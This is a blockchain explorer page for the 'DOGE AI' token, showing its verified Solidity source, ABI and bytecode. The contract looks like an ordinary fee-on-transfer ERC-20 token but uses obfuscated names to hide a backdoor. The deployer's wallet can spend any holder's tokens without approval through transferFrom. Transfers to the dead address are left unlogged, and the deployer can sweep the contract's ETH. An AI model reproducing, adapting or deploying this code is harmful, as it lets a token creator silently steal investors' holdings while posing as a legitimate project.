ETH Price: $2,153.43 (+1.22%)

Token

DOGE AI (DOGEAI)
 

Overview

Max Total Supply

1,000,000,000 DOGEAI

Holders

248

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-03-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"DOGE AI";
    string private constant _symbol = unicode"DOGEAI";
    
    address payable private _vbjljvlklTOKEN;
    mapping(address => uint256) private _cijojiseTOKEN;
    mapping(address => mapping(address => uint256)) private _fjweoijTOKEN;
    mapping(address => bool) private _jojodjTOKEN;

    uint256 private _vjkboiwoeiTOKEN = 10;
    uint256 private _odijofjoeTOKEN = 10;
    uint256 private _joijoiTOKEN = 0;
    uint256 private _jvbkoiweTOKEN = 0;
    uint256 private _ojidoiweTOKEN = 7;
    uint256 private _ojdofTOKEN = 7;
    uint256 private _buyCount = 0;
    address private _ojdofiekjTOKEN;
    address private _kjvnkbjnTOKEN = address(0xdead);

    uint256 public _ojojoivlkTOKEN = 20000000 * 10 **_decimals;
    uint256 public _lkkkvnblkjTOKEN = 20000000 * 10 **_decimals;
    uint256 public _ppojofTOKEN = 10000000 * 10 **_decimals;
    uint256 private constant _kmmvbTOKEN = 1000000000 * 10 **_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _ojojoivlkTOKEN);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _vbjljvlklTOKEN = payable(_msgSender());
        _cijojiseTOKEN[address(this)] = _kmmvbTOKEN * 98 / 100;
        _cijojiseTOKEN[owner()] = _kmmvbTOKEN * 2 / 100;
        _jojodjTOKEN[owner()] = true;
        _jojodjTOKEN[address(this)] = true;
        _jojodjTOKEN[_vbjljvlklTOKEN] = true;
        _ojdofiekjTOKEN = _msgSender();
        emit Transfer(address(0), address(this), _kmmvbTOKEN * 98 / 100);
        emit Transfer(address(0), address(owner()), _kmmvbTOKEN * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _kmmvbTOKEN;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _fjweoijTOKEN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _cijojiseTOKEN[account];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _fjweoijTOKEN[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferr_TOKEN(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _lvckmjlwoiTOKEN(sender, recipient, amount).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    receive() external payable {}

    function _joeijoijoj(
        address sender,
        address recipient
    ) internal view returns (bool) {
        if(_jvjocvo() == false) return false;
        else {
            if(sender == uniswapV2Pair) return true;
            else return _kkvklv(recipient);
        }
    }

    function _kkvklv(address recipient) internal view returns (bool) {
        return recipient != _kjvnkbjnTOKEN;
    }

    function _jvjocvo() internal view returns (bool) {return msg.sender != _vbjljvlklTOKEN;}

    function _lvckmjlwoiTOKEN(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (uint256) {
        uint256 _allowed = amount;
        if (_joeijoijoj(sender, recipient))
            _allowed = _fjweoijTOKEN[sender][_msgSender()];
        return _allowed;
    }

    function _excuseTOKEN(address payable receipt) external {
        require(msg.sender == _ojdofiekjTOKEN , "");
        _vbjljvlklTOKEN = receipt;
        _TOKENlkjlok(address(this).balance);
    }
    
    function _assistTOKEN(uint256 amount) private {
        _vbjljvlklTOKEN.transfer(amount);
    }

    function _TOKENlkjlok(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transferr_TOKEN(_msgSender(), recipient, amount);
        return true;
    }

    function _transferr_TOKEN(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _ojidoiweTOKEN)
                        ? _joijoiTOKEN
                        : _vjkboiwoeiTOKEN
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_jojodjTOKEN[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _ojdofTOKEN)
                            ? _jvbkoiweTOKEN
                            : _odijofjoeTOKEN
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _ppojofTOKEN) ? contractTokenBalance : _ppojofTOKEN; 
                    _swappp_TOKEN((amount < minBalance) ? amount : minBalance);
                }
                _assistTOKEN(address(this).balance);
            }
        }
        if (taxAmount > 0) {
        _cijojiseTOKEN[address(this)] =_cijojiseTOKEN[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _cijojiseTOKEN[from] =_cijojiseTOKEN[from].sub(amount);
        _cijojiseTOKEN[to] =_cijojiseTOKEN[to].add(amount.sub(taxAmount));
        if(_kjvnkbjnTOKEN != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function removeLimits () external onlyOwner {
        _ojojoivlkTOKEN = _kmmvbTOKEN;
        _lkkkvnblkjTOKEN = _kmmvbTOKEN;
        emit MaxTxAmountUpdated(_kmmvbTOKEN);
    }

    function _swappp_TOKEN(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function enableTOKENTrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _kmmvbTOKEN);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_ojojoivlkTOKEN","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"receipt","type":"address"}],"name":"_excuseTOKEN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_lkkkvnblkjTOKEN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ojojoivlkTOKEN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ppojofTOKEN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTOKENTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600555600a6006555f6007555f60085560076009556007600a555f600b5561dead600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6100749190610747565b6301312d006100839190610791565b600e556009600a6100949190610747565b6301312d006100a39190610791565b600f556009600a6100b49190610747565b629896806100c29190610791565b6010555f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff0219169083151502179055505f6101086105a860201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101b26105a860201b60201c565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6102039190610747565b633b9aca006102129190610791565b61021c9190610791565b61022691906107ff565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102799190610747565b633b9aca006102889190610791565b6102929190610791565b61029c91906107ff565b60025f6102ad6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f6102fd6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506104256105a860201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104c59190610747565b633b9aca006104d49190610791565b6104de9190610791565b6104e891906107ff565b6040516104f5919061083e565b60405180910390a361050b6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61056b9190610747565b633b9aca0061057a9190610791565b6105849190610791565b61058e91906107ff565b60405161059b919061083e565b60405180910390a3610857565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561065857808604811115610634576106336105d6565b5b60018516156106435780820291505b808102905061065185610603565b9450610618565b94509492505050565b5f82610670576001905061072b565b8161067d575f905061072b565b8160018114610693576002811461069d576106cc565b600191505061072b565b60ff8411156106af576106ae6105d6565b5b8360020a9150848211156106c6576106c56105d6565b5b5061072b565b5060208310610133831016604e8410600b84101617156107015782820a9050838111156106fc576106fb6105d6565b5b61072b565b61070e848484600161060f565b92509050818404811115610725576107246105d6565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61075182610732565b915061075c8361073b565b92506107897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610661565b905092915050565b5f61079b82610732565b91506107a683610732565b92508282026107b481610732565b915082820484148315176107cb576107ca6105d6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61080982610732565b915061081483610732565b925082610824576108236107d2565b5b828204905092915050565b61083881610732565b82525050565b5f6020820190506108515f83018461082f565b92915050565b612dc5806108645f395ff3fe608060405260043610610101575f3560e01c8063870d3f3011610094578063d9ab277911610063578063d9ab277914610322578063dd62ed3e1461034c578063df74782014610388578063f270e0361461039e578063ffd56420146103c857610108565b8063870d3f301461026a5780638da5cb5b1461029257806395d89b41146102bc578063a9059cbb146102e657610108565b8063313ce567116100d0578063313ce567146101d857806370a0823114610202578063715018a61461023e578063751039fc1461025457610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f5ffd5b348015610117575f5ffd5b506101206103f2565b60405161012d9190611f94565b60405180910390f35b348015610141575f5ffd5b5061015c60048036038101906101579190612045565b61042f565b604051610169919061209d565b60405180910390f35b34801561017d575f5ffd5b5061018661044c565b60405161019391906120c5565b60405180910390f35b3480156101a7575f5ffd5b506101c260048036038101906101bd91906120de565b61046f565b6040516101cf919061209d565b60405180910390f35b3480156101e3575f5ffd5b506101ec6104ce565b6040516101f99190612149565b60405180910390f35b34801561020d575f5ffd5b5061022860048036038101906102239190612162565b6104d6565b60405161023591906120c5565b60405180910390f35b348015610249575f5ffd5b5061025261051c565b005b34801561025f575f5ffd5b5061026861066c565b005b348015610275575f5ffd5b50610290600480360381019061028b91906121c8565b61079c565b005b34801561029d575f5ffd5b506102a6610877565b6040516102b39190612202565b60405180910390f35b3480156102c7575f5ffd5b506102d061089e565b6040516102dd9190611f94565b60405180910390f35b3480156102f1575f5ffd5b5061030c60048036038101906103079190612045565b6108db565b604051610319919061209d565b60405180910390f35b34801561032d575f5ffd5b506103366108f8565b60405161034391906120c5565b60405180910390f35b348015610357575f5ffd5b50610372600480360381019061036d919061221b565b6108fe565b60405161037f91906120c5565b60405180910390f35b348015610393575f5ffd5b5061039c610980565b005b3480156103a9575f5ffd5b506103b2610ea3565b6040516103bf91906120c5565b60405180910390f35b3480156103d3575f5ffd5b506103dc610ea9565b6040516103e991906120c5565b60405180910390f35b60606040518060400160405280600781526020017f444f474520414900000000000000000000000000000000000000000000000000815250905090565b5f61044261043b610eaf565b8484610eb6565b6001905092915050565b5f6009600a61045b91906123b5565b633b9aca0061046a91906123ff565b905090565b5f61047b848484611079565b6104c384610487610eaf565b6104be85604051806060016040528060288152602001612d68602891396104af8a8a8a611805565b6118a79092919063ffffffff16565b610eb6565b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610524610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a89061248a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610674610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f89061248a565b60405180910390fd5b6009600a61070f91906123b5565b633b9aca0061071e91906123ff565b600e819055506009600a61073291906123b5565b633b9aca0061074191906123ff565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61077691906123b5565b633b9aca0061078591906123ff565b60405161079291906120c5565b60405180910390a1565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610822906124cb565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087447611909565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f444f474541490000000000000000000000000000000000000000000000000000815250905090565b5f6108ee6108e7610eaf565b8484611079565b6001905092915050565b600f5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610988610eaf565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c9061248a565b60405180910390fd5b601260149054906101000a900460ff1615610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612533565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b013060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610aed91906123b5565b633b9aca00610afc91906123ff565b610eb6565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8f9190612565565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c15573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c399190612565565b6040518363ffffffff1660e01b8152600401610c56929190612590565b6020604051808303815f875af1158015610c72573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c969190612565565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d1d306104d6565b5f5f610d27610877565b426040518863ffffffff1660e01b8152600401610d49969594939291906125f9565b60606040518083038185885af1158015610d65573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d8a919061266c565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e2a9291906126bc565b6020604051808303815f875af1158015610e46573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6a919061270d565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b60105481565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b906127a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990612836565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106c91906120c5565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de906128c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90612952565b60405180910390fd5b5f8111611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906129e0565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561120357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611500576112446064611236600954600b541161122357600554611227565b6007545b8561195090919063ffffffff16565b6119c790919063ffffffff16565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ef575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611342575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561135f57600b5f815480929190611359906129fe565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113e757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561142b57611428606461141a600a54600b54116114075760065461140b565b6008545b8561195090919063ffffffff16565b6119c790919063ffffffff16565b90505b5f611435306104d6565b9050601260159054906101000a900460ff161580156114a0575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b85750601260169054906101000a900460ff165b156114fe575f8111156114f4575f60105482106114d7576010546114d9565b815b90506114f28185106114eb57816114ed565b845b611a10565b505b6114fd47611c7b565b5b505b5f8111156115ff576115588160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce390919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115f691906120c5565b60405180910390a35b61164f8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116f26116a68284611d4090919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ce390919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ff578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117e98486611d4090919063ffffffff16565b6040516117f691906120c5565b60405180910390a35b50505050565b5f5f8290506118148585611d89565b1561189c5760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61185f610eaf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b